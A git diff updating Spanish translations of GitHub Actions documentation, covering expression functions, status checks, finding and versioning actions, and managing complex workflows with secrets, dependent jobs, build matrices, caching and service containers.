 `toJSON(value)`
 
-Returns a pretty-print JSON representation of `value`. You can use this function to debug the information provided in contexts.
+Arroja una representación JSON con formato mejorado de `value`. Puedes usar esta función para depurar la información suministrada en contextos.
 
-#### Example
+#### Ejemplo
 
-`toJSON(job)` might return `{ "status": "Success" }`
+`toJSON(job)` puede devolver `{ "status": "Success" }`
 
 ### fromJSON
 
 `fromJSON(value)`
 
-Returns a JSON object or JSON data type for `value`. You can use this function to provide a JSON object as an evaluated expression or to convert environment variables from a string.
+Devuelve un objeto de JSON o un tipo de datos de JSON para `value`. Puedes utilizar esta función para proporcionar un objeto JSON como una expresión evaluada o para convertir variables de ambiente desde una secuencia.
 
-#### Example returning a JSON object
+#### Ejemplo de devolver un objeto JSON
 
-This workflow sets a JSON matrix in one job, and passes it to the next job using an output and `fromJSON`.
+Este flujo de trabajo configura una matriz de JSON en un job, y lo pasa al siguiente job utilizando un resultado y `fromJSON`.
 
 {% raw %}
 ```yaml
@@ -225,9 +225,9 @@ jobs:
 ```
 {% endraw %}
 
-#### Example returning a JSON data type
+#### Ejemplo de devolver un tipo de datos JSON
 
-This workflow uses `fromJSON` to convert environment variables from a string to a Boolean or integer.
+Este flujo de trabajo utiliza `fromJSON` para convertir las variables de ambiente de una secuencia a un número entero o Booleano.
 
 {% raw %}
 ```yaml
@@ -250,31 +250,31 @@ jobs:
 
 `hashFiles(path)`
 
-Returns a single hash for the set of files that matches the `path` pattern. You can provide a single `path` pattern or multiple `path` patterns separated by commas. The `path` is relative to the `GITHUB_WORKSPACE` directory and can only include files inside of the `GITHUB_WORKSPACE`. This function calculates an individual SHA-256 hash for each matched file, and then uses those hashes to calculate a final SHA-256 hash for the set of files. For more information about SHA-256, see "[SHA-2](https://en.wikipedia.org/wiki/SHA-2)."
+Arroja un solo hash para el conjunto de archivos que coincide con el patrón de `path`. Puedes proporcionar un patrón de `path` o `path` múltiples se parados por comas. El `path` está relacionado con el directorio `GITHUB_WORKSPACE` y solo puede incluir archivos dentro del directorio `GITHUB_WORKSPACE`. Esta función calcula un hash SHA-256 individual para cada archivo coincidente, y luego usa esos hashes para calcular un hash SHA-256 final para el conjunto de archivos. Para más información sobre SHA-256, consulta "[SHA-2](https://en.wikipedia.org/wiki/SHA-2)".
 
-You can use pattern matching characters to match file names. Pattern matching is case-insensitive on Windows. For more information about supported pattern matching characters, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions/#filter-pattern-cheat-sheet)."
+Puedes usar caracteres de coincidencia de patrones para encontrar nombres de archivos. La coincidencia de patrones no distingue mayúsculas de minúsculas en Windows. Para obtener más información acerca de los caracteres compatibles con los patrones, consulta "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions/#filter-pattern-cheat-sheet)".
 
-#### Example with a single pattern
+#### Ejemplo con un solo patrón
 
-Matches any `package-lock.json` file in the repository.
+Encuentra cualquier archivo `package-lock.json` en el repositorio.
 
 `hashFiles('**/package-lock.json')`
 
-#### Example with multiple patterns
+#### Ejemplo con patrones múltiples
 
-Creates a hash for any `package-lock.json` and `Gemfile.lock` files in the repository.
+Crea un hash para cualquier archivo de `package-lock.json` y de `Gemfile.lock` en el repositorio.
 
 `hashFiles('**/package-lock.json', '**/Gemfile.lock')`
 
-## Job status check functions
+## Funciones de verificación del estado
 
-You can use the following status check functions as expressions in `if` conditionals. A default status check of `success()` is applied unless you include one of these functions. For more information about `if` conditionals, see "[Workflow syntax for GitHub Actions](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)."
+Puedes usar las siguientes funciones de verificación de estado como expresiones en condicionales `if`. Se aplicará una verificación de estado predeterminado de `success()` a menos de que incluyas una de estas funciones. Para obtener más información sobre los condicionales `if`, consulta la sección "[Sintaxis de flujo de trabajo para las GitHub Actions](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)" y "[Sintaxis de metadatos para las Acciones Compuestas de GitHub](/actions/creating-actions/metadata-syntax-for-github-actions/#runsstepsif)".
 
 ### success
 
-Returns `true` when none of the previous steps have failed or been canceled.
+Arroja `true` cuando no falló ni se canceló ninguno de los pasos anteriores.
 
-#### Example
+#### Ejemplo
 
 ```yaml
 steps:
@@ -285,9 +285,9 @@ steps:
 
 ### always
 
-Causes the step to always execute, and returns `true`, even when canceled. A job or step will not run when a critical failure prevents the task from running. For example, if getting sources failed.
+Ocasiona que el paso siempre se ejecute y devuelve `true`, aún cuando se cancela. No se ejecutará un trabajo o paso cuando una falla crítica impida que la tarea se ejecute. Por ejemplo, si fallaron las fuentes.
 
-#### Example
+#### Ejemplo
 
 ```yaml
 if: {% raw %}${{ always() }}{% endraw %}
@@ -295,9 +295,9 @@ if: {% raw %}${{ always() }}{% endraw %}
 
 ### cancelled
 
-Returns `true` if the workflow was canceled.
+Arroja `true` si se canceló el flujo de trabajo.
 
-#### Example
+#### Ejemplo
 
 ```yaml
 if: {% raw %}${{ cancelled() }}{% endraw %}
@@ -305,9 +305,9 @@ if: {% raw %}${{ cancelled() }}{% endraw %}
 
 ### failure
 
-Returns `true` when any previous step of a job fails. If you have a chain of dependent jobs, `failure()` returns `true` if any ancestor job fails.
+Arroja `true` cuando falla cualquiera de los pasos anteriores de un trabajo. Si tienes una cadena de jobs dependientes, `failure()` devolverá el valor `true` en caso de que cualquier job ascendiente falle.
 
-#### Example
+#### Ejemplo
 
 ```yaml
 steps:
@@ -316,11 +316,37 @@ steps:
     if: {% raw %}${{ failure() }}{% endraw %}
 ```
 
-## Object filters
+### Evaluar los estados explícitamente
 
-You can use the `*` syntax to apply a filter and select matching items in a collection.
+En vez de utilizar alguno de los métodos anteriores, puedes evaluar el estado del job o de la acción compuesta que esté ejecutando el paso directamente:
 
-For example, consider an array of objects named `fruits`.
+#### Ejemplo de un paso de flujo de trabajo
+
+```yaml
+steps:
+  ...
+  - name: The job has failed
+    if: {% raw %}${{ job.status == 'failure' }}{% endraw %}
+```
+
+Esto es lo mismo que utilizar `if: failure()` en un paso de un job.
+
+#### Ejemplo de un paso de una acción compuesta
+
+```yaml
+steps:
+  ...
+  - name: The composite action has failed
+    if: {% raw %}${{ github.action_status == 'failure' }}{% endraw %}
+```
+
+Esto es lo mismo que utilizar `if: failure()` en un paso de acción compuesta.
+
+## Filtros de objetos
+
+Puedes usar la sintaxis `*` para aplicar un filtro y seleccionar los elementos coincidentes en una recopilación.
+
+Por ejemplo, considera una matriz de objetos llamada `fruits`.
 
 ```json
 [
@@ -330,4 +356,4 @@ For example, consider an array of objects named `fruits`.
 ]
 ```
 
-The filter `fruits.*.name` returns the array `[ "apple", "orange", "pear" ]`
+El filtro `fruits.*.name` devuelve la matriz `[ "apple", "orange", "pear" ]`
diff --git a/translations/es-ES/content/actions/learn-github-actions/finding-and-customizing-actions.md b/translations/es-ES/content/actions/learn-github-actions/finding-and-customizing-actions.md
index 5b71215cd5..9f4088662a 100644
--- a/translations/es-ES/content/actions/learn-github-actions/finding-and-customizing-actions.md
+++ b/translations/es-ES/content/actions/learn-github-actions/finding-and-customizing-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Finding and customizing actions
-shortTitle: Finding and customizing actions
-intro: 'Actions are the building blocks that power your workflow. A workflow can contain actions created by the community, or you can create your own actions directly within your application''s repository. This guide will show you how to discover, use, and customize actions.'
+title: Encontrar y personalizar las acciones
+shortTitle: Encontrar y personalizar las acciones
+intro: 'Las acciones son los componentes básicos que hacen funcionar a tu flujo de trabajo. Un flujo de trabajo puede contener acciones que cree la comunidad, o puedes crear tus propias acciones directamente dentro del repositorio de tu aplicación. Esta guía te mostrará cómo descubrir, utilizar y personalizar las acciones.'
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/using-github-marketplace-actions
   - /actions/automating-your-workflow-with-github-actions/using-actions-from-github-marketplace-in-your-workflow
@@ -20,92 +20,89 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## Resumen
 
-The actions you use in your workflow can be defined in:
+Las acciones que utilizas en tu flujo de trabajo pueden definirse en:
 
-- A public repository
-- The same repository where your workflow file references the action
-- A published Docker container image on Docker Hub
+- Un repositorio público
+- El mismo repositorio en donde tu archivo de flujo de trabajo hace referencia a la acción
+- Una imagen del contenedor Docker publicada en Docker Hub
 
-{% data variables.product.prodname_marketplace %} is a central location for you to find actions created by the {% data variables.product.prodname_dotcom %} community.{% ifversion fpt or ghec %} [{% data variables.product.prodname_marketplace %} page](https://github.com/marketplace/actions/) enables you to filter for actions by category. {% endif %}
+{% data variables.product.prodname_marketplace %} es una ubicación central para que encuentres acciones que crea la comunidad de {% data variables.product.prodname_dotcom %}.{% ifversion fpt or ghec %}La [página de {% data variables.product.prodname_marketplace %}](https://github.com/marketplace/actions/) te permite filtrar de acuerdo con la categoría de las acciones. {% endif %}
 
 {% data reusables.actions.enterprise-marketplace-actions %}
 
 {% ifversion fpt or ghec %}
 
-## Browsing Marketplace actions in the workflow editor
+## Buscar las acciones de Marketplace en el editor de flujo de trabajo
 
-You can search and browse actions directly in your repository's workflow editor. From the sidebar, you can search for a specific action, view featured actions, and browse featured categories. You can also view the number of stars an action has received from the {% data variables.product.prodname_dotcom %} community.
+Puedes buscar acciones manualmente o por coincidencia exacta directamente en el editor de flujo de datos de tu repositorio. Desde la barra lateral, puedes buscar una acción específica, ver las acciones destacadas, y buscar manualmente las categorías destacadas. También puedes ver la cantidad de estrellas que una acción ha recibido desde la comunidad {% data variables.product.prodname_dotcom %}.
 
-1. In your repository, browse to the workflow file you want to edit.
-1. In the upper right corner of the file view, to open the workflow editor, click {% octicon "pencil" aria-label="The edit icon" %}.
-   ![Edit workflow file button](/assets/images/help/repository/actions-edit-workflow-file.png)
-1. To the right of the editor, use the {% data variables.product.prodname_marketplace %} sidebar to browse actions. Actions with the {% octicon "verified" aria-label="The verified badge" %} badge indicate {% data variables.product.prodname_dotcom %} has verified the creator of the action as a partner organization.
-   ![Marketplace workflow sidebar](/assets/images/help/repository/actions-marketplace-sidebar.png)
+1. En tu repositorio, navega hasta el archivo de flujo de trabajo que deseas editar.
+1. En el ángulo superior derecho de la vista del archivo, para abrir el editor de flujo de trabajo, haz clic en {% octicon "pencil" aria-label="The edit icon" %}.![Botón para editar un archivo de flujo de trabajo](/assets/images/help/repository/actions-edit-workflow-file.png)
+1. A la derecha del editor, utiliza la barra lateral de {% data variables.product.prodname_marketplace %} para buscar las acciones. Las acciones con la insignia de {% octicon "verified" aria-label="The verified badge" %} indican que {% data variables.product.prodname_dotcom %} verificó que el creador de la acción es una organización asociada. ![Barra lateral del flujo de trabajo de Marketplace](/assets/images/help/repository/actions-marketplace-sidebar.png)
 
-## Adding an action to your workflow
+## Agregar una acción a tu flujo de trabajo
 
-An action's listing page includes the action's version and the workflow syntax required to use the action. To keep your workflow stable even when updates are made to an action, you can reference the version of the action to use by specifying the Git or Docker tag number in your workflow file.
+Las páginas de listado de acciones incluyen la versión de la acción y la sintaxis de flujo de trabajo que se requiere para utilizar dicha acción. Para mantener estable a tu flujo de trabajo, aún cuando se hagan actualizaciones en una acción, puedes referenciar la versión de la acción a utilizar si especificas el número de etiqueta de Git o de Docker en tu archivo de flujo de trabajo.
 
-1. Navigate to the action you want to use in your workflow.
-1. Under "Installation", click {% octicon "clippy" aria-label="The edit icon" %} to copy the workflow syntax.
-   ![View action listing](/assets/images/help/repository/actions-sidebar-detailed-view.png)
-1. Paste the syntax as a new step in your workflow. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)."
-1. If the action requires you to provide inputs, set them in your workflow. For information on inputs an action might require, see "[Using inputs and outputs with an action](/actions/learn-github-actions/finding-and-customizing-actions#using-inputs-and-outputs-with-an-action)."
+1. Navega hasta la acción que deseas usar en tu flujo de trabajo.
+1. En "Installation" (Instalación), haz clic en {% octicon "clippy" aria-label="The edit icon" %} para copiar la sintaxis del flujo de trabajo. ![Ver descripción de la acción](/assets/images/help/repository/actions-sidebar-detailed-view.png)
+1. Pega la sintaxis como un nuevo paso en tu flujo de trabajo. Para obtener más información, consulta "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)."
+1. Si la accion requiere que proprociones información de entrada, configúrala en tu flujo de trabajo. Para saber más sobre la información de entrada que pudiera requerir una acción, consulta la sección "[Utilizar entradas y salidas con una acción](/actions/learn-github-actions/finding-and-customizing-actions#using-inputs-and-outputs-with-an-action)".
 
 {% data reusables.dependabot.version-updates-for-actions %}
 
 {% endif %}
 
-## Using release management for your custom actions
+## Utilizar la administración de lanzamientos para tus acciones personalizadas
 
-The creators of a community action have the option to use tags, branches, or SHA values to manage releases of the action. Similar to any dependency, you should indicate the version of the action you'd like to use based on your comfort with automatically accepting updates to the action.
+Los creadores de una acción comunitaria tienen la opción de utilizar etiquetas, ramas, o valores de SHA para administrar los lanzamientos de la acción. Similar a cualquier dependencia, debes indicar la versión de la acción que te gustaría utilizar basándote en tu comodidad con aceptar automáticamente las actualizaciones para dicha acción.
 
-You will designate the version of the action in your workflow file. Check the action's documentation for information on their approach to release management, and to see which tag, branch, or SHA value to use.
+Designarás la versión de la acción en tu archivo de flujo de trabajo. Revisa la documentación de la acción para encontrar información de su enfoque sobre la administración de lanzamientos, y para ver qué etiqueta, rama, o valor de SHA debes utilizar.
 
 {% note %}
 
-**Note:** We recommend that you use a SHA value when using third-party actions. For more information, see [Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-third-party-actions)
+**Nota:** Te recomendamos que utilices un valor de SHA cuando uses acciones de terceros. Para obtener más información, consulta la sección "[Fortalecimiento de seguridad para las GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-third-party-actions)".
 
 {% endnote %}
 
-### Using tags
+### Utilizar etiquetas
 
-Tags are useful for letting you decide when to switch between major and minor versions, but these are more ephemeral and can be moved or deleted by the maintainer. This example demonstrates how to target an action that's been tagged as `v1.0.1`:
+Las etiquetas son útiles para que te permitan decidir cuándo cambiar entre versiones mayores y menores, pero son más efímeras y el mantenedor puede moverlas o borrarlas. Este ejemplo te muestra cómo seleccionar una acción que se ha marcado como `v1.0.1`:
 
 ```yaml
 steps:
   - uses: actions/javascript-action@v1.0.1
 ```
 
-### Using SHAs
+### Utilizar SHAs
 
-If you need more reliable versioning, you should use the SHA value associated with the version of the action. SHAs are immutable and therefore more reliable than tags or branches. However this approach means you will not automatically receive updates for an action, including important bug fixes and security updates. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}You must use a commit's full SHA value, and not an abbreviated value. {% endif %}This example targets an action's SHA:
+Si necesitas utilizar un versionamiento más confiable, debes utilizar el valor de SHA asociado con la versión de la acción. Los SHA son inmutables y, por lo tanto, más confiables que las etiquetas o las ramas. Sin embargo, este acercamiento significa que no recibirás actualizaciones para una acción automáticamente, incluyendo las correcciones de errores y actualizaciones de seguridad. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Debes utiliza run valor completo del SHA de la confirmación y no un valor abreviado. {% endif %}Este ejemplo apunta al SHA de una acción:
 
 ```yaml
 steps:
   - uses: actions/javascript-action@172239021f7ba04fe7327647b213799853a9eb89
 ```
 
-### Using branches
+### Utilizar ramas
 
-Specifying a target branch for the action means it will always run the version currently on that branch. This approach can create problems if an update to the branch includes breaking changes. This example targets a branch named `@main`:
+El especificar una rama destino para la acción significa que ésta siempre ejecutará la versión que se encuentre actualmente en dicha rama. Este acercamiento puede crear problemas si una actualización a la rama incluye cambios importantes. Este ejemplo apunta a una rama que se llama `@main`:
 
 ```yaml
 steps:
   - uses: actions/javascript-action@main
 ```
 
-For more information, see "[Using release management for actions](/actions/creating-actions/about-actions#using-release-management-for-actions)."
+Para obtener más información, consulta la sección "[Utilizar la administración de lanzamientos para las acciones](/actions/creating-actions/about-actions#using-release-management-for-actions)".
 
-## Using inputs and outputs with an action
+## Utilizar entradas y salidas con una acción
 
-An action often accepts or requires inputs and generates outputs that you can use. For example, an action might require you to specify a path to a file, the name of a label, or other data it will use as part of the action processing.
+Una acción a menudo acepta o requiere entradas y genera salidas que puedes utilizar. Por ejemplo, una acción podría requerir que especifiques una ruta a un archivo, el nombre de una etiqueta, u otros datos que utilizará como parte del procesamiento de la misma.
 
-To see the inputs and outputs of an action, check the `action.yml` or `action.yaml` in the root directory of the repository.
+Para ver las entradas y salidas de una acción, revisa el `action.yml` o el `action.yaml` en el directorio raíz del repositorio.
 
-In this example `action.yml`, the `inputs` keyword defines a required input called `file-path`, and includes a default value that will be used if none is specified. The `outputs` keyword defines an output called `results-file`, which tells you where to locate the results.
+En este `action.yml` de ejemplo, la palabra clave `inputs` define una entrada requerida que se llama `file-path`, e incluye un valor predeterminado que se utilizará si ésta no se especifica. La palabra clave `outputs` define una salida que se llama `results-file`, la cual te dice en dónde se ubican los resultados.
 
 ```yaml
 name: "Example"
@@ -122,16 +119,17 @@ outputs:
 
 {% ifversion ghae %}
 
-## Using the actions included with {% data variables.product.prodname_ghe_managed %}
+## Utilizar las acciones que se incluyen en {% data variables.product.prodname_ghe_managed %}
+Predeterminadamente, puedes utilizar la mayoría de las
 
-By default, you can use most of the official {% data variables.product.prodname_dotcom %}-authored actions in {% data variables.product.prodname_ghe_managed %}. For more information, see "[Using actions in {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/using-actions-in-github-ae)."
+acciones oficiales que crea {% data variables.product.prodname_dotcom %} en {% data variables.product.prodname_ghe_managed %}. Para obtener más información, consulta la sección "[Utilizar las acciones en {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/using-actions-in-github-ae)".
 {% endif %}
 
-## Referencing an action in the same repository where a workflow file uses the action
+## Hacer referencia a una acción en el mismo repositorio en el que un archivo de flujo de trabajo usa la acción
 
-If an action is defined in the same repository where your workflow file uses the action, you can reference the action with either the ‌`{owner}/{repo}@{ref}` or `./path/to/dir` syntax in your workflow file.
+Si se define una acción en el mismo repositorio en el que tu archivo de flujo de trabajo usa la acción, puedes hacer referencia a la acción con ‌`{owner}/{repo}@{ref}` o la sintaxis `./path/to/dir` en tu archivo de flujo de trabajo.
 
-Example repository file structure:
+Ejemplo de estructura de archivo de repositorio:
 
 ```
 |-- hello-world (repository)
@@ -143,24 +141,24 @@ Example repository file structure:
 |               └── action.yml
 ```
 
-Example workflow file:
+Ejemplo de archivo de flujo de trabajo:
 
 ```yaml
 jobs:
   build:
     runs-on: ubuntu-latest
     steps:
-      # This step checks out a copy of your repository.
+      # Este paso revisa una copia de tu repositorio.
       - uses: actions/checkout@v2
-      # This step references the directory that contains the action.
+    # Este paso hace referencia al directorio que contiene la acción.
       - uses: ./.github/actions/hello-world-action
 ```
 
-The `action.yml` file is used to provide metadata for the action. Learn about the content of this file in "[Metadata syntax for GitHub Actions](/actions/creating-actions/metadata-syntax-for-github-actions)"
+El archivo `action.yml` se utiliza para proporcionar metadatos para la acción. Aprende sobre el contenido de este archivo en la sección "[Sintaxis de metadatos para las GitHub Actions](/actions/creating-actions/metadata-syntax-for-github-actions)"
 
-## Referencing a container on Docker Hub
+## Hacer referencia a un contenedor en Docker Hub
 
-If an action is defined in a published Docker container image on Docker Hub, you must reference the action with the `docker://{image}:{tag}` syntax in your workflow file. To protect your code and data, we strongly recommend you verify the integrity of the Docker container image from Docker Hub before using it in your workflow.
+Si se define una acción en una imagen de contenedor Docker publicada en Docker Hub, debes hacer referencia a la acción con la sintaxis `docker://{image}:{tag}` en tu archivo de flujo de trabajo. Para proteger tu código y tus datos, te recomendamos que verifiques la integridad de la imagen del contenedor Docker de Docker Hub antes de usarla en tu flujo de trabajo.
 
 ```yaml
 jobs:
@@ -170,8 +168,8 @@ jobs:
         uses: docker://alpine:3.8
 ```
 
-For some examples of Docker actions, see the [Docker-image.yml workflow](https://github.com/actions/starter-workflows/blob/main/ci/docker-image.yml) and "[Creating a Docker container action](/articles/creating-a-docker-container-action)."
+Para encontrar algunos ejemplos de acciones de Docker, consulta el [flujo de trabajo de Docker-image.yml](https://github.com/actions/starter-workflows/blob/main/ci/docker-image.yml) y la sección "[Crear una acción de contenedor de Docker](/articles/creating-a-docker-container-action)".
 
-## Next steps
+## Pasos siguientes
 
-To continue learning about {% data variables.product.prodname_actions %}, see "[Essential features of {% data variables.product.prodname_actions %}](/actions/learn-github-actions/essential-features-of-github-actions)."
+Para seguir aprendiendo sobre las {% data variables.product.prodname_actions %}, consulta la sección "[Características esenciales de las {% data variables.product.prodname_actions %}](/actions/learn-github-actions/essential-features-of-github-actions)".
diff --git a/translations/es-ES/content/actions/learn-github-actions/index.md b/translations/es-ES/content/actions/learn-github-actions/index.md
index f69e68338e..0b3d148cf2 100644
--- a/translations/es-ES/content/actions/learn-github-actions/index.md
+++ b/translations/es-ES/content/actions/learn-github-actions/index.md
@@ -1,7 +1,7 @@
 ---
-title: Learn GitHub Actions
-shortTitle: Learn GitHub Actions
-intro: 'Whether you are new to {% data variables.product.prodname_actions %} or interested in learning all they have to offer, this guide will help you use {% data variables.product.prodname_actions %} to accelerate your application development workflows.'
+title: Aprende sobre las GitHub Actions
+shortTitle: Aprende sobre las GitHub Actions
+intro: 'Ya sea que seas nuevo en el uso de {% data variables.product.prodname_actions %} o que te interese aprender sobre todo lo que pueden ofrecer, esta guía te ayudará a utilizar las {% data variables.product.prodname_actions %} para acelerar tus flujos de trabajo de desarrollo de aplicaciones.'
 redirect_from:
   - /articles/about-github-actions
   - /github/automating-your-workflow-with-github-actions/about-github-actions
@@ -11,7 +11,7 @@ redirect_from:
   - /actions/getting-started-with-github-actions/overview
   - /actions/getting-started-with-github-actions/getting-started-with-github-actions
   - /actions/configuring-and-managing-workflows/configuring-a-workflow
-  - /articles/creating-a-workflow-with-github-actions/
+  - /articles/creating-a-workflow-with-github-actions
   - /articles/configuring-a-workflow
   - /github/automating-your-workflow-with-github-actions/configuring-a-workflow
   - /actions/automating-your-workflow-with-github-actions/configuring-a-workflow
@@ -34,8 +34,8 @@ children:
   - /essential-features-of-github-actions
   - /managing-complex-workflows
   - /sharing-workflows-secrets-and-runners-with-your-organization
-  - /creating-workflow-templates
-  - /using-workflow-templates
+  - /creating-starter-workflows-for-your-organization
+  - /using-starter-workflows
   - /reusing-workflows
   - /events-that-trigger-workflows
   - /expressions
diff --git a/translations/es-ES/content/actions/learn-github-actions/managing-complex-workflows.md b/translations/es-ES/content/actions/learn-github-actions/managing-complex-workflows.md
index e44a1d367c..05e3836516 100644
--- a/translations/es-ES/content/actions/learn-github-actions/managing-complex-workflows.md
+++ b/translations/es-ES/content/actions/learn-github-actions/managing-complex-workflows.md
@@ -1,7 +1,7 @@
 ---
-title: Managing complex workflows
-shortTitle: Managing complex workflows
-intro: 'This guide shows you how to use the advanced features of {% data variables.product.prodname_actions %}, with secret management, dependent jobs, caching, build matrices,{% ifversion fpt or ghes > 3.0 or ghae or ghec %} environments,{% endif %} and labels.'
+title: Administrar flujos de trabajo complejos
+shortTitle: Administrar flujos de trabajo complejos
+intro: 'Esta guía te muestra cómo utilizar las características avanzadas de {% data variables.product.prodname_actions %} con administración de secretos, jobs dependientes, almacenamiento en caché, matrices de compilación,{% ifversion fpt or ghes > 3.0 or ghae or ghec %} ambientes,{% endif %}y etiquetas.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -15,15 +15,15 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## Resumen
 
-This article describes some of the advanced features of {% data variables.product.prodname_actions %} that help you create more complex workflows.
+Este artículo describe algunas de las características avanzadas de las {% data variables.product.prodname_actions %} que te ayudan a crear flujos de trabajo más complejos.
 
-## Storing secrets
+## Almacenar secretos
 
-If your workflows use sensitive data, such as passwords or certificates, you can save these in {% data variables.product.prodname_dotcom %} as _secrets_ and then use them in your workflows as environment variables. This means that you will be able to create and share workflows without having to embed sensitive values directly in the YAML workflow.
+Si tus flujos de trabajo utilizan datos sensibles tales como contraseñas o certificados, puedes guardarlos en {% data variables.product.prodname_dotcom %} como _secretos_ y luego usarlos en tus flujos de trabajo como variables de ambiente. Esto significa que podrás crear y compartir flujos de trabajo sin tener que embeber valores sensibles directamente en el flujo de trabajo de YAML.
 
-This example action demonstrates how to reference an existing secret as an environment variable, and send it as a parameter to an example command.
+Esta acción de ejemplo ilustra cómo referenciar un secreto existente como una variable de ambiente y enviarla como parámetro a un comando de ejemplo.
 
 {% raw %}
 ```yaml
@@ -39,13 +39,13 @@ jobs:
 ```
 {% endraw %}
 
-For more information, see "[Creating and storing encrypted secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)."
+Para obtener más información, consulta "[Crear y almacenar secretos cifrados](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)".
 
-## Creating dependent jobs
+## Crear jobs dependientes
 
-By default, the jobs in your workflow all run in parallel at the same time. So if you have a job that must only run after another job has completed, you can use the `needs` keyword to create this dependency. If one of the jobs fails, all dependent jobs are skipped; however, if you need the jobs to continue, you can define this using the [`if`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idif) conditional statement.
+Predeterminadamente, los jobs en tu flujo de trabajo se ejecutan todos en paralelo y al mismo tiempo. Así que, si tienes un job que solo debe ejecutarse después de que se complete otro job, puedes utilizar la palabra clave `needs` para crear esta dependencia. Si un de los jobs falla, todos los jobs dependientes se omitirán; sin embargo, si necesitas que los jobs sigan, puedes definir esto utilizando la declaración condicional [`if`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idif).
 
-In this example, the `setup`, `build`, and `test` jobs run in series, with `build` and `test` being dependent on the successful completion of the job that precedes them:
+En este ejemplo, los jobs de `setup`, `build`, y `test` se ejecutan en serie, y `build` y `test` son dependientes de que el job que las precede se complete con éxito:
 
 ```yaml
 jobs:
@@ -65,11 +65,11 @@ jobs:
       - run: ./test_server.sh
 ```
 
-For more information, see [`jobs.<job_id>.needs`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds).
+Para obtener más información, consulta la parte de [`jobs.<job_id>.needs`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds).
 
-## Using a build matrix
+## Utilizar una matriz de compilaciones
 
-You can use a build matrix if you want your workflow to run tests across multiple combinations of operating systems, platforms, and languages. The build matrix is created using the `strategy` keyword, which receives the build options as an array. For example, this build matrix will run the job multiple times, using different versions of Node.js:
+Puedes utilizar una matriz de compilaciones si quieres que tu flujo de trabajo ejecute pruebas a través de varias combinaciones de sistemas operativos, plataformas y lenguajes. La matriz de compilaciones se crea utilizando la palabra clave `strategy`, la cual recibe las opciones de compilación como un arreglo. Por ejemplo, esta matriz de compilaciones ejecutará el job varias veces, utilizando diferentes versiones de Node.js:
 
 {% raw %}
 ```yaml
@@ -86,14 +86,14 @@ jobs:
 ```
 {% endraw %}
 
-For more information, see [`jobs.<job_id>.strategy.matrix`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix).
+Para obtener más información, consulta la parte de [`jobs.<job_id>.strategy.matrix`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix).
 
 {% ifversion fpt or ghec %}
-## Caching dependencies
+## Almacenar dependencias en caché
 
-{% data variables.product.prodname_dotcom %}-hosted runners are started as fresh environments for each job, so if your jobs regularly reuse dependencies, you can consider caching these files to help improve performance. Once the cache is created, it is available to all workflows in the same repository.
+Los ejecutores hospedados en {% data variables.product.prodname_dotcom %} se inician como ambientes nuevos para cada job, así que, si tus jobs utilizan dependencias a menudo, puedes considerar almacenar estos archivos en caché para ayudarles a mejorar el rendimiento. Una vez que se crea el caché, estará disponible para todos los flujos de trabajo en el mismo repositorio.
 
-This example demonstrates how to cache the ` ~/.npm` directory:
+Este ejemplo ilustra cómo almacenar el directorio `~/.npm` en el caché:
 
 {% raw %}
 ```yaml
@@ -112,12 +112,12 @@ jobs:
 ```
 {% endraw %}
 
-For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+Para obtener más información, consulta la sección "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Almacenar las dependencias en caché para agilizar los flujos de trabajo</a>".
 {% endif %}
 
-## Using databases and service containers
+## Usar bases de datos y contenedores de servicio
 
-If your job requires a database or cache service, you can use the [`services`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idservices) keyword to create an ephemeral container to host the service; the resulting container is then available to all steps in that job and is removed when the job has completed. This example demonstrates how a job can use `services` to create a `postgres` container, and then use `node` to connect to the service.
+Si tu job requiere de un servicio de caché o de base de datos, puedes utilizar la palabra clave [`services`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idservices) para crear un contenedor efímero para almacenar el servicio; el contenedor resultante estará entonces disponible para todos los pasos de ese job y se eliminará cuando el job se haya completado. Este ejemplo ilustra como un job puede utilizar `services` para crear un contenedor de `postgres` y luego utilizar a `node` para conectarse al servicio.
 
 ```yaml
 jobs:
@@ -139,13 +139,13 @@ jobs:
           POSTGRES_PORT: 5432
 ```
 
-For more information, see "[Using databases and service containers](/actions/configuring-and-managing-workflows/using-databases-and-service-containers)."
+Para obtener más información, consulta la sección "[Utilizar bases de datos y contenedores de servicios](/actions/configuring-and-managing-workflows/using-databases-and-service-containers)".
 
-## Using labels to route workflows
+## Utilizar etiquetas para enrutar los flujos de trabajo
 
